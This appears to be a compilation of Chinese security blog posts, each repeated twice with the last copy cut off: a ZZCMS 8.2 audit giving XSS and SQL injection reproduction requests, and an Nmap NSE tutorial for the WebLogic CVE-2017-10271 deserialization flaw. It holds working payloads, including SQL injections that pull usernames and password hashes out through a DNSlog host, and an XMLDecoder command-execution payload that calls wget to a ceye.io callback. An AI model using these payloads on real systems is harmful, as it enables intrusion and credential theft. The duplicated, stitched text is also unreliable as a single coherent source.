0×00 **背景**

本周,分析了下zzcms8.2的源码,发现了蛮多问题的,觉得这个源码适合萌新们练手或入坑PHP的代码审计,发出一些我发现的问题,当然这个源码还有很多问题,本篇仅对部分漏洞进行分析,至于如何GetShell我会在下周分享出我的方法。期待与师傅们的交流讨论。

0×01 **审计过程**

XSS**相关问题**

0×00 **相关环境**

源码信息:ZZCMS 8.2 问题文件: \zzcms\zzcms8.2\install\step_6.php 漏洞类型:反射型XSS 站点地址:http://www.zzcms.net/

0×01 **漏洞分析**

\zzcms\zzcms8.2\install\step_6.php中的第10-11行中得到如下代码块。

代码块.png

因为\zzcms\zzcms8.2\install\index.php文件的第8-9行中使用了注册变量的操作。

操作.png

且在\zzcms\zzcms8.2\install\index.php文件的第123行中包含了\zzcms\zzcms8.2\install\step_6.php文件。

php.png

因此从注册变量再到输出整个数据的传递过程没有做任何的安全处理,所以存在反射型XSS等攻击。

0×02 **漏洞复现**

进行如下请求,便可以触发JS代码。

POST /install/index.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 62

Referer: [http://127.0.0.1/install/index.php](http://127.0.0.1/install/index.php)

Cookie: ECS[visit_times]=4; ECS_ID=0c10cf200fe52e4044f277d2a4fb4391514db71d; ECSCP_ID=946e425af3501b9e1b2d360a76b2cffa0f44f617; PHPSESSID=r3rd91v2sqku4qncj0vp0q9u43

Connection: close

Upgrade-Insecure-Requests: 1

admin=admin&adminpwdtrue=admin<script>alert(1)</script>&step=6

1×00 **相关环境**

源码信息:ZZCMS 8.2 问题文件:\zzcms\zzcms8.2\zx\show.php 漏洞类型:存储型XSS漏洞 站点地址:http://www.zzcms.net/

1×01 **漏洞分析**

首先分析输入位置: \zzcms\zzcms8.2\user\zxsave.php文件中的第51-57行中的如下代码块中将留言的内容插入到数据库中。

库.png

\zzcms\zzcms8.2\user\zxsave.php文件的第3行中包含了/inc/conn.php文件,

文.png

然后在\zzcms\zzcms8.2\inc\conn.php文件中包含了/inc/stopsqlin.php文件。

inc.png

\zzcms\zzcms8.2\inc\stopsqlin.php文件中的第6-13行,对传入的数据的字符进行了实体化和转义处理。

chuli.png

因此编辑资讯操作存在数据库中是以关键符号实体化和转义后存入。

存入.png

然后分析输出位置: \zzcms\zzcms8.2\zx\show.php文件中的第36-40行中从数据库中取出数据,然后对content列做stripfxg处理。

理.png

跟入stripfxg方法,在\zzcms\zzcms8.2\inc\function.php文件的第577行发现该方法,分析该方法知道是对传入的数据进行实体化和转义的还原操作,因此content列的数据经过该方法的处理后,便还原为原本的字符串。

串.png

最后在155-181行中的代码是调用showcontentPayjf等方法,将数据输出到页面上,但是也没有对一些危险字符进行安全处理,所以此处存在存储型XSS

ss.png

类似的问题该源码还存在许多位置,大家可以自行发现。

1×02 **漏洞复现**

注册普通会员后,登陆到个人中心进行发资讯操作。

caozuo.png

然后进行如下操作,将payload存入到数据库中。

ranhou.png

发布后访问该资讯便会触发XSS

chufa.png

当然也可直接进行如下操作,将payload存入数据库,然后再访问资讯触发XSS

POST /user/zxsave.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 242

Referer: [http://127.0.0.1/user/zxmodify.php?id=5](http://127.0.0.1/user/zxmodify.php?id=5)

Cookie: bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

bigclassid=0&smallclassid=0&title=1&link=&laiyuan=zzcms&content=%3Cimg+onerror%3D%22alert%601%60%22+src%3D%220%22+%2F%3Eaaaaaaaaaaa&keywords=1&description=&groupid=0&jifen=0&Submit=%E5%8F%91+%E5%B8%83&id=5&editor=Thinking&page=1&action=modify

SQL**注入问题:**

0×00 **相关环境**

源码信息:ZZCMS 8.2 问题文件: \zzcms\zzcms8.2\inc\function.php 漏洞类型:SQL注入漏洞 站点地址:http://www.zzcms.net/

0×01 **漏洞分析**

\zzcms\zzcms8.2\user\check.php文件的第19行中,在执行SQL语句的时候使用了getip方法获取登录IP然后拼接到SQL

sql.png

跟入getip方法,在\zzcms\zzcms8.2\inc\function.php文件中的第100行发现代码块,通过分析该方法,发现并没有对传入的IP进行合规判断,又将方法的结果返回到调用的位置,所以此处存在SQL注入,经过分析发现有多处使用了getip方法与数据进行拼接,所以还有许多漏洞等待挖掘。

getip方法被使用的位置也是有很多处,大家也可自行发现其他位置的安全问题。

0×02 **漏洞复现**

进行如下请求,注入的位置在client-ip,由于数据没有进行回显,所以可以利用DNSlog或者盲注获取数据。

POST /user/logincheck.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 106

Referer: [http://127.0.0.1/user/login.php](http://127.0.0.1/user/login.php)

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018

client-ip:127.0.0.9'and (select LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(username,0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263)))#

Connection: close

Upgrade-Insecure-Requests: 1

username=Thinking&password=thinkingpwd&yzm=33&fromurl=http%3A%2F%2F127.0.0.1%2F&Submit=%E7%99%BB+%E5%BD%95

进行如上请求后查看dnslog可以看到返回的结果,对结果进行unhex可以得到明文信息。

xinxi.png

1×00 **相关环境**

源码信息:ZZCMS 8.2 问题文件: \zzcms\zzcms_xm8.2\user\del.php 漏洞类型:SQL注入漏洞 站点地址:http://www.zzcms.net/

1×01 **漏洞分析**

\zzcms\zzcms8.2\user\del.php文件的第138-141行中,当$tablename不满足ifelseif 的条件的时候,便会进入到如下代码块。

daimakuai.png

因为注入的位置是表名,因此可以不需要引入符号进行闭合,所以就可以无视/inc/stopsqlin.php文件中的安全处理规则,所以此处可以直接进行SQL注入。

1×02 **漏洞复现**

注册用户后等,然后进行如下请求,由于tablename参数的传入会经过/inc/stopsqlin.php文件进行处理,且此处是属于盲注,可以使用DNSlog获取数据,然后在将字符进行16进制编码,避免使用引号引入。

POST /user/del.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 282

Referer: [http://127.0.0.1//user/zxmanage.php](http://127.0.0.1//user/zxmanage.php)

Cookie: PHPSESSID=r3rd91v2sqku4qncj0vp0q9u43; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=3a923a7d00ee3e041d018b2708ee9994

Connection: close

Upgrade-Insecure-Requests: 1

id%5B%5D=1&submit=%E5%88%A0%E9%99%A4%0D%0A&pagename=zxmanage.php%3Fpage%3D1&tablename=zzcms_zx union select 1,LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(username,0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263))#

进行如上请求后可以在dnslog上获取到数据。

2×00 **相关环境**

源码信息:ZZCMS 8.2 问题文件: \zzcms\zzcms8.2\user\msg.php 漏洞类型:SQL注入漏洞 站点地址:http://www.zzcms.net/

2×01 **漏洞分析**

\zzcms\zzcms8.2\user\msg.php文件中的第29-36行中,使用了stripfxg方法对POST传入的info_content参数的值进行处理,虽然该源码会对传入的参数的值进行实体化和转义处理,但是此处由于使用stripfxg方法会还原为原本的数据,因此可以引入单引号,所以存在SQL注入漏洞。

zhuru.png

2×02 **漏洞复现**

进行如下请求,然后可以在DNSlog上获取到数据。

POST /user/msg.php?action=savedata&saveas=modify HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 243

Referer: [http://127.0.0.1/user/msg.php?action=modify&id=1](http://127.0.0.1/user/msg.php?action=modify&id=1)

Cookie: PHPSESSID=r3rd91v2sqku4qncj0vp0q9u43; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

info_content=aaaaaaaaaaa'^(select LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(username,0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263)))#&id=1&Submit2=%E4%BF%AE%E6%94%B9%0D%0A

web.png

0×02 **小结**

本篇列举了ZZCMS8.25版本的 XSSSQL注入的问题,大家如果有发现其他方法好玩的洞也欢迎与我一同聊聊[email protected],期待与师傅们的各种讨论,期待交流下周的GetShell方法吧。

qrcode_for_gh_223e082fe8a7_344.jpg

0×00 **背景**

本周,分析了下zzcms8.2的源码,发现了蛮多问题的,觉得这个源码适合萌新们练手或入坑PHP的代码审计,发出一些我发现的问题,当然这个源码还有很多问题,本篇仅对部分漏洞进行分析,至于如何GetShell我会在下周分享出我的方法。期待与师傅们的交流讨论。

0×01 **审计过程**

XSS**相关问题**

0×00 **相关环境**

源码信息:ZZCMS 8.2 问题文件: \zzcms\zzcms8.2\install\step_6.php 漏洞类型:反射型XSS 站点地址:http://www.zzcms.net/

0×01 **漏洞分析**

\zzcms\zzcms8.2\install\step_6.php中的第10-11行中得到如下代码块。

代码块.png

因为\zzcms\zzcms8.2\install\index.php文件的第8-9行中使用了注册变量的操作。

操作.png

且在\zzcms\zzcms8.2\install\index.php文件的第123行中包含了\zzcms\zzcms8.2\install\step_6.php文件。

php.png

因此从注册变量再到输出整个数据的传递过程没有做任何的安全处理,所以存在反射型XSS等攻击。

0×02 **漏洞复现**

进行如下请求,便可以触发JS代码。

POST /install/index.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 62

Referer: [http://127.0.0.1/install/index.php](http://127.0.0.1/install/index.php)

Cookie: ECS[visit_times]=4; ECS_ID=0c10cf200fe52e4044f277d2a4fb4391514db71d; ECSCP_ID=946e425af3501b9e1b2d360a76b2cffa0f44f617; PHPSESSID=r3rd91v2sqku4qncj0vp0q9u43

Connection: close

Upgrade-Insecure-Requests: 1

admin=admin&adminpwdtrue=admin<script>alert(1)</script>&step=6

1×00 **相关环境**

源码信息:ZZCMS 8.2 问题文件:\zzcms\zzcms8.2\zx\show.php 漏洞类型:存储型XSS漏洞 站点地址:http://www.zzcms.net/

1×01 **漏洞分析**

首先分析输入位置: \zzcms\zzcms8.2\user\zxsave.php文件中的第51-57行中的如下代码块中将留言的内容插入到数据库中。

库.png

\zzcms\zzcms8.2\user\zxsave.php文件的第3行中包含了/inc/conn.php文件,

文.png

然后在\zzcms\zzcms8.2\inc\conn.php文件中包含了/inc/stopsqlin.php文件。

inc.png

\zzcms\zzcms8.2\inc\stopsqlin.php文件中的第6-13行,对传入的数据的字符进行了实体化和转义处理。

chuli.png

因此编辑资讯操作存在数据库中是以关键符号实体化和转义后存入。

存入.png

然后分析输出位置: \zzcms\zzcms8.2\zx\show.php文件中的第36-40行中从数据库中取出数据,然后对content列做stripfxg处理。

理.png

跟入stripfxg方法,在\zzcms\zzcms8.2\inc\function.php文件的第577行发现该方法,分析该方法知道是对传入的数据进行实体化和转义的还原操作,因此content列的数据经过该方法的处理后,便还原为原本的字符串。

串.png

最后在155-181行中的代码是调用showcontentPayjf等方法,将数据输出到页面上,但是也没有对一些危险字符进行安全处理,所以此处存在存储型XSS

ss.png

类似的问题该源码还存在许多位置,大家可以自行发现。

1×02 **漏洞复现**

注册普通会员后,登陆到个人中心进行发资讯操作。

caozuo.png

然后进行如下操作,将payload存入到数据库中。

ranhou.png

发布后访问该资讯便会触发XSS

chufa.png

当然也可直接进行如下操作,将payload存入数据库,然后再访问资讯触发XSS

POST /user/zxsave.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 242

Referer: [http://127.0.0.1/user/zxmodify.php?id=5](http://127.0.0.1/user/zxmodify.php?id=5)

Cookie: bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

bigclassid=0&smallclassid=0&title=1&link=&laiyuan=zzcms&content=%3Cimg+onerror%3D%22alert%601%60%22+src%3D%220%22+%2F%3Eaaaaaaaaaaa&keywords=1&description=&groupid=0&jifen=0&Submit=%E5%8F%91+%E5%B8%83&id=5&editor=Thinking&page=1&action=modify

SQL**注入问题:**

0×00 **相关环境**

源码信息:ZZCMS 8.2 问题文件: \zzcms\zzcms8.2\inc\function.php 漏洞类型:SQL注入漏洞 站点地址:http://www.zzcms.net/

0×01 **漏洞分析**

\zzcms\zzcms8.2\user\check.php文件的第19行中,在执行SQL语句的时候使用了getip方法获取登录IP然后拼接到SQL

sql.png

跟入getip方法,在\zzcms\zzcms8.2\inc\function.php文件中的第100行发现代码块,通过分析该方法,发现并没有对传入的IP进行合规判断,又将方法的结果返回到调用的位置,所以此处存在SQL注入,经过分析发现有多处使用了getip方法与数据进行拼接,所以还有许多漏洞等待挖掘。

getip方法被使用的位置也是有很多处,大家也可自行发现其他位置的安全问题。

0×02 **漏洞复现**

进行如下请求,注入的位置在client-ip,由于数据没有进行回显,所以可以利用DNSlog或者盲注获取数据。

POST /user/logincheck.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 106

Referer: [http://127.0.0.1/user/login.php](http://127.0.0.1/user/login.php)

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018

client-ip:127.0.0.9'and (select LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(username,0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263)))#

Connection: close

Upgrade-Insecure-Requests: 1

username=Thinking&password=thinkingpwd&yzm=33&fromurl=http%3A%2F%2F127.0.0.1%2F&Submit=%E7%99%BB+%E5%BD%95

进行如上请求后查看dnslog可以看到返回的结果,对结果进行unhex可以得到明文信息。

xinxi.png

1×00 **相关环境**

源码信息:ZZCMS 8.2 问题文件: \zzcms\zzcms_xm8.2\user\del.php 漏洞类型:SQL注入漏洞 站点地址:http://www.zzcms.net/

1×01 **漏洞分析**

\zzcms\zzcms8.2\user\del.php文件的第138-141行中,当$tablename不满足ifelseif 的条件的时候,便会进入到如下代码块。

daimakuai.png

因为注入的位置是表名,因此可以不需要引入符号进行闭合,所以就可以无视/inc/stopsqlin.php文件中的安全处理规则,所以此处可以直接进行SQL注入。

1×02 **漏洞复现**

注册用户后等,然后进行如下请求,由于tablename参数的传入会经过/inc/stopsqlin.php文件进行处理,且此处是属于盲注,可以使用DNSlog获取数据,然后在将字符进行16进制编码,避免使用引号引入。

POST /user/del.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 282

Referer: [http://127.0.0.1//user/zxmanage.php](http://127.0.0.1//user/zxmanage.php)

Cookie: PHPSESSID=r3rd91v2sqku4qncj0vp0q9u43; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=3a923a7d00ee3e041d018b2708ee9994

Connection: close

Upgrade-Insecure-Requests: 1

id%5B%5D=1&submit=%E5%88%A0%E9%99%A4%0D%0A&pagename=zxmanage.php%3Fpage%3D1&tablename=zzcms_zx union select 1,LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(username,0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263))#

进行如上请求后可以在dnslog上获取到数据。

2×00 **相关环境**

源码信息:ZZCMS 8.2 问题文件: \zzcms\zzcms8.2\user\msg.php 漏洞类型:SQL注入漏洞 站点地址:http://www.zzcms.net/

2×01 **漏洞分析**

\zzcms\zzcms8.2\user\msg.php文件中的第29-36行中,使用了stripfxg方法对POST传入的info_content参数的值进行处理,虽然该源码会对传入的参数的值进行实体化和转义处理,但是此处由于使用stripfxg方法会还原为原本的数据,因此可以引入单引号,所以存在SQL注入漏洞。

zhuru.png

2×02 **漏洞复现**

进行如下请求,然后可以在DNSlog上获取到数据。

POST /user/msg.php?action=savedata&saveas=modify HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 243

Referer: [http://127.0.0.1/user/msg.php?action=modify&id=1](http://127.0.0.1/user/msg.php?action=modify&id=1)

Cookie: PHPSESSID=r3rd91v2sqku4qncj0vp0q9u43; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

info_content=aaaaaaaaaaa'^(select LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(username,0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263)))#&id=1&Submit2=%E4%BF%AE%E6%94%B9%0D%0A

web.png

0×02 **小结**

本篇列举了ZZCMS8.25版本的 XSSSQL注入的问题,大家如果有发现其他方法好玩的洞也欢迎与我一同聊聊[email protected],期待与师傅们的各种讨论,期待交流下周的GetShell方法吧。

qrcode_for_gh_223e082fe8a7_344.jpg

nmap为我们提供了较为精准的端口和服务探测的功能,如果我们在探测到某些端口或者服务的同时顺带检测下是否含有曾经爆出的漏洞呢?本期将以Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞为例子,为大家介绍如何用NSE来编写渗透脚本。

0×01 http 库的介绍

由于本次Weblogic 反序列化漏洞这个例子是以HTTP请求的方式来发送POC和相关请求,所以需要先掌握http库的使用。

1. 实现一个HTTP中的get方法

local http = require "http"
local req = http.get(host, port, path, options)

http库的get方法可以发起一个请求,请求将请求结果以一个table的形式返回。参数说明:

  • host : 要请求的主机
  • port : 要请求的主机的端口
  • path :要请求的路径
  • options :一个table的格式,可以定义socket超时时间、HTTP 的请求头部字段或者其他的参数

2. 实现一个HTTP中的post方法

local http = require "http"
local req = http.post(host, port, path, options, ignored, postdata)

post方法支持的参数有6个,相同的4个和get方式一样。不同与GET的参数说明:

  • ignored : 忽略向下兼容。此参数斗哥也不太理解,一般置为nil
  • postdata :POST数据,可以是字符串或者是一个table。默认会以application/x-www-form-encoded编码方式提交,如果不想使用此方法,需要改写generic_request这个方法。

3. 获取返回内容

  • req.status : HTTP返回包的状态码
  • req.header / req.rawheader:整个返回包头部
  • req.body : HTTP报回报的正文

4. 关于脚本调试使用nmap-d参数这个后面可以跟1-9的数字,数字越大调试信息越详细,一般-d3足以查看到详细的http报文了。使用wireshark利用wireshark本身的报文过滤能力,筛选出我们想要的HTTP请求包。如筛选命令:http.request.method=="POST" and ip.dst==192.168.1.1 就可以筛选出发往192.168.1.1的POST请求了。

请求.png

0×02 漏洞环境搭建

环境使用的是phith0n牛的docker开源靶场:https://github.com/vulhub,使用docker搭建漏洞环境会比较高效。

0×03 漏洞POC

因为该漏洞是属于代码执行漏洞,根据这个漏洞可以文件写马或者执行系统命令。

文件写马POC

利用的java的io包下的PrintWriter类:<object class="java.io.PrintWriter">

ter.png

该POC的路径不能出错,漏洞环境需要有写的权限。作为POC我们不必写真正的JSP马,写入无害数据到一个文件,然后判断文件是否有数据即可。

命令执行,反弹shell或者是利用服务监控的方式

由于该代码执行执行系统命令并没有回显结果。所以斗哥掌握的方法一种是执行nc命令反弹一个shell回来,另外一种是通过服务监控的方式,而服务监控的方式更使用与nmap的脚本编写。

利用的java的lang包下的ProcessBuilder类:<object class="java.lang.ProcessBuilder">

利用CEYE,本次漏洞我们可以监控的服务有nslookup、curl、wget、ping等。

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
                    <soapenv:Header> 
                        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
                        <java version="1.8.0_131" class="java.beans.XMLDecoder"> 
                            <object class="java.lang.ProcessBuilder"> 
                            <array class="java.lang.String" length="2"> 
                                <void index="0"> 
                                <string>wget</string> 
                                </void>  
                                <void index="1"> 
                                <string>`whoami`test111.xxx.ceye.io</string> 
                                </void>  
                            </array>  
                            <void method="start"/> 
                            </object> 
                        </java> 
                        </work:WorkContext> 
                    </soapenv:Header>  
                    <soapenv:Body/> 
                </soapenv:Envelope>

e  1.png

e  2.png

##0×04 NSE脚本脚本的POC使用的是通过写入无害数据到文件,检测文件是否存在的方式。如果要使用监控服务的方式,只需更换POC即可。

nmap命令:nmap -Pn -p7001 --script weblogic_cve2017_10271 192.168.1.0/24

24.png

local http = require "http"
local shortport = require "shortport"
local string = require "string"

description = [[检测Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)]]
author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe","discovery","version"}

portrule = function(host,port)
    return port.protocol == "tcp" and port.state == "open"
end

action = function(host, port)

    print("port.numner is : ",port.number)
    print("port status is : ",port.state)
    local basepath = "/wls-wsat/CoordinatorPortType"

    math.randomseed(tostring(os.time()):reverse():sub(1, 7)) --设置时间种子
    local randomnum = math.random(1000000,9999999)  -- 生成一个随机数,POC需要具有随机性

    local randomurl = '/wls-wsat/' .. tostring(randomnum) .. '.txt'

    print(randomurl)

    local postdata='<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/' .. tostring(randomnum) .. '.txt</string><void method="println"><string>xmldecodetest</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>'

    local options={ header = {    -- HTTP头部的编写格式
    ["Accept-Encoding"]="en",
    ["Accept"]="*/*",
    ["User-Agent"] = "Mozilla/5.0",
    ["Content-Length"]=638,
    ["Content-Type"]="text/xml",
    ["Expect"]="100-continue",
    ["Connection"]="Keep-Alive"
    } }

    local req = http.get(host,port,basepath,{ no_cache = true})  -- 检测是否存在/wls-wsat/CoordinatorPortType路径的请求
    local reqw= http.post(host,port,basepath,options,nil,postdata)  -- 发送POC的请求 
    local reqr= http.get(host,port,randomurl,{ no_cache = true}) -- 检测POC是否成功写入文件的请求

    if string.find(reqr.body,'xmldecodetest') ~= nil  -- 如果写入的文件有xmldecodetest字段,说明漏洞存在
    then
        return "Vuln Detect CVE-2017-10271 ,Weblogic < 10.3.6 'wls-wsat' XMLDecoder"
    end

    if string.find(req.body,'CoordinatorPortType') ~= nil  -- 如果存在/wls-wsat/CoordinatorPortType路径,说明可能存在风险
    then
        return "Vuln Warning .. Detect PATH: /wls-wsat/CoordinatorPortType ,Mabey CVE-2017-10271 ,Weblogic < 10.3.6 'wls-wsat' XMLDecoder"
    end
end

0×05 小结

本期如何利用NSE编写攻击脚本到这里结束了,主要和大家介绍了下斗哥的一些经验总结,下期呢将为大家介绍Nmap中的并发执行。

qrcode_for_gh_223e082fe8a7_344.jpg

nmap为我们提供了较为精准的端口和服务探测的功能,如果我们在探测到某些端口或者服务的同时顺带检测下是否含有曾经爆出的漏洞呢?本期将以Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞为例子,为大家介绍如何用NSE来编写渗透脚本。

0×01 http 库的介绍

由于本次Weblogic 反序列化漏洞这个例子是以HTTP请求的方式来发送POC和相关请求,所以需要先掌握http库的使用。

1. 实现一个HTTP中的get方法

local http = require "http"
local req = http.get(host, port, path, options)

http库的get方法可以发起一个请求,请求将请求结果以一个table的形式返回。参数说明:

  • host : 要请求的主机
  • port : 要请求的主机的端口
  • path :要请求的路径
  • options :一个table的格式,可以定义socket超时时间、HTTP 的请求头部字段或者其他的参数

2. 实现一个HTTP中的post方法

local http = require "http"
local req = http.post(host, port, path, options, ignored, postdata)

post方法支持的参数有6个,相同的4个和get方式一样。不同与GET的参数说明:

  • ignored : 忽略向下兼容。此参数斗哥也不太理解,一般置为nil
  • postdata :POST数据,可以是字符串或者是一个table。默认会以application/x-www-form-encoded编码方式提交,如果不想使用此方法,需要改写generic_request这个方法。

3. 获取返回内容

  • req.status : HTTP返回包的状态码
  • req.header / req.rawheader:整个返回包头部
  • req.body : HTTP报回报的正文

4. 关于脚本调试使用nmap-d参数这个后面可以跟1-9的数字,数字越大调试信息越详细,一般-d3足以查看到详细的http报文了。使用wireshark利用wireshark本身的报文过滤能力,筛选出我们想要的HTTP请求包。如筛选命令:http.request.method=="POST" and ip.dst==192.168.1.1 就可以筛选出发往192.168.1.1的POST请求了。

请求.png

0×02 漏洞环境搭建

环境使用的是phith0n牛的docker开源靶场:https://github.com/vulhub,使用docker搭建漏洞环境会比较高效。

0×03 漏洞POC

因为该漏洞是属于代码执行漏洞,根据这个漏洞可以文件写马或者执行系统命令。

文件写马POC

利用的java的io包下的PrintWriter类:<object class="java.io.PrintWriter">

ter.png

该POC的路径不能出错,漏洞环境需要有写的权限。作为POC我们不必写真正的JSP马,写入无害数据到一个文件,然后判断文件是否有数据即可。

命令执行,反弹shell或者是利用服务监控的方式

由于该代码执行执行系统命令并没有回显结果。所以斗哥掌握的方法一种是执行nc命令反弹一个shell回来,另外一种是通过服务监控的方式,而服务监控的方式更使用与nmap的脚本编写。

利用的java的lang包下的ProcessBuilder类:<object class="java.lang.ProcessBuilder">

利用CEYE,本次漏洞我们可以监控的服务有nslookup、curl、wget、ping等。

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
                    <soapenv:Header> 
                        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
                        <java version="1.8.0_131" class="java.beans.XMLDecoder"> 
                            <object class="java.lang.ProcessBuilder"> 
                            <array class="java.lang.String" length="2"> 
                                <void index="0"> 
                                <string>wget</string> 
                                </void>  
                                <void index="1"> 
                                <string>`whoami`test111.xxx.ceye.io</string> 
                                </void>  
                            </array>  
                            <void method="start"/> 
                            </object> 
                        </java> 
                        </work:WorkContext> 
                    </soapenv:Header>  
                    <soapenv:Body/> 
                </soapenv:Envelope>

e  1.png

e  2.png

##0×04 NSE脚本脚本的POC使用的是通过写入无害数据到文件,检测文件是否存在的方式。如果要使用监控服务的方式,只需更换POC即可。

nmap命令:nmap -Pn -p7001 --script weblogic_cve2017_10271 192.168.1.0/24

24.png

local http = require "http"
local shortport = require "shortport"
local string = require "string"

description = [[检测Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)]]
author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe","discovery","version"}

portrule = function(host,port)
    return port.protocol == "tcp" and port.state == "open"
end

action = function(host, port)

    print("port.numner is : ",port.number)
    print("port status is : ",port.state)
